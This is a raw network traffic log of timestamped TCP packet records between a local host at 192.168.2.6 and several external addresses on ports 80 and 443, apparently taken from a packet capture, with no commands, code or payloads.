Nov 23, 2024 09:16:54.256903887 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.257055044 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.257287025 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.257298946 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.257749081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.257801056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.261888027 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.261957884 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.262121916 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.262171984 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.262171984 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.262188911 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.262202978 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.264789104 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.264830112 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.265086889 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.265249968 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.265254021 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:54.265260935 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.265266895 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:54.265291929 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:54.265301943 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:54.265332937 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:54.265358925 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:54.265372038 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:54.265377045 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:54.265427113 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:54.265574932 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:54.265584946 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:54.267514944 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.271466017 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.271491051 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.271596909 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.271606922 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.279069901 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.279159069 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.279165983 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.281699896 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.281760931 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.281853914 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.281980038 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.281997919 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.282010078 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.282016993 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.286345959 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.286379099 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.286437988 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.286604881 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.286617994 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.293050051 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.293184996 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.293256998 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.293349028 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.293354034 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.293364048 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.293368101 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.295445919 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.295463085 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.295545101 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.295703888 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.295711994 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.296530962 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.296562910 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.296601057 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.296603918 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.296622992 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.296669960 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.304059982 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.304225922 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.304236889 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.304932117 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.304954052 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.304960966 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.304977894 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.304986954 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.305008888 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.305011034 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.305022001 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.305037022 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.305068970 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.305144072 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.316920996 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.316946983 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.316955090 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.316967964 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.316978931 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.316984892 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.317008018 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.317018986 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:54.317049980 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.317079067 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:54.321535110 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.321587086 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.321619987 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.321639061 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.321685076 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.330322027 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.330385923 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.330404043 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.333776951 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.333786964 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.333817959 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.333827972 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.333925009 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.333925009 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.333934069 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.334073067 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.337918043 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.338031054 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.338056087 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.351996899 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.352025032 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.352087021 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.352122068 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.352138996 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.361259937 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.361332893 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.361357927 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.373480082 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.374047995 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.374068975 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.374162912 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.374162912 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.374191046 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.383069992 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.383157969 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.383179903 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.393564939 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.393580914 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.393672943 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.393692970 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.394170046 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.394196987 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.394263029 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.394263029 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.394282103 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.394309998 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.394345999 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.394345999 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.394366980 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.397864103 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.397968054 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.397980928 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.402726889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.402796984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.402849913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.402893066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.403307915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.403336048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.403353930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.403378010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.404427052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.404479027 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.404596090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.404643059 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.405463934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.405592918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.405617952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.405653954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.406595945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.406748056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.406780958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.406797886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.407109976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.407123089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.407162905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.407201052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.407421112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.407465935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.407510996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.407684088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.408140898 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.408162117 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.408201933 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.408224106 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.408246994 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.408559084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.408606052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.408648014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.408685923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.409630060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.409676075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.409677982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.409723997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.410007000 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.410032988 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.410094023 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.410104990 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.410152912 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.410731077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.410783052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.410793066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.410818100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.411859989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.411919117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.411982059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.412084103 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.412955999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.413024902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.413060904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.413101912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.414057016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.414128065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.414145947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.414185047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.415149927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.415224075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.415257931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.415302992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.416311979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.416363955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.416378975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.416416883 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.417340040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.417396069 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.417484045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.417538881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.418427944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.418505907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.418590069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.418642044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.419545889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.419616938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.419681072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.419769049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.420707941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.420759916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.420790911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.420840025 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.421798944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.421858072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.421886921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.421927929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.422899008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.423032999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.423077106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.424086094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.424105883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.424144030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.424158096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.425052881 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.425098896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.425151110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.425245047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.426161051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.426222086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.426321983 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.426362991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.427319050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.427364111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.427504063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.427551031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.428428888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.428482056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.428544998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.428759098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.429461002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.429513931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.429563999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.429610014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.429647923 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.429672003 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.429734945 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.429734945 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.429739952 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.430607080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.430649996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.430692911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.430844069 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.431703091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.431759119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.431798935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.431838989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.432780027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.432833910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.432902098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.433015108 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.433923960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.433976889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.434015036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.434207916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.434987068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.435039043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.435081005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.435204983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.436111927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.436156034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.436211109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.436252117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.437186003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.437242985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.437285900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.437328100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.438286066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.438337088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.438338995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.438378096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.439400911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.439457893 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.439500093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.439537048 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.440583944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.440690994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.440737009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.441611052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.441669941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.441714048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.441759109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.442776918 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.442790985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.442837000 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.442848921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.443883896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.443896055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.443933964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.443950891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.444910049 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.444927931 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.444932938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.444951057 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.444983959 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.444998026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.445019007 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.445029974 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.445031881 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.445070028 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.445072889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.445168018 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.446043015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.446093082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.446163893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.446203947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.447128057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.447238922 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.447283983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.448240995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.448304892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.448374987 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.448419094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.449326992 CET	80	49816	185.215.113.206	192.168.2.6
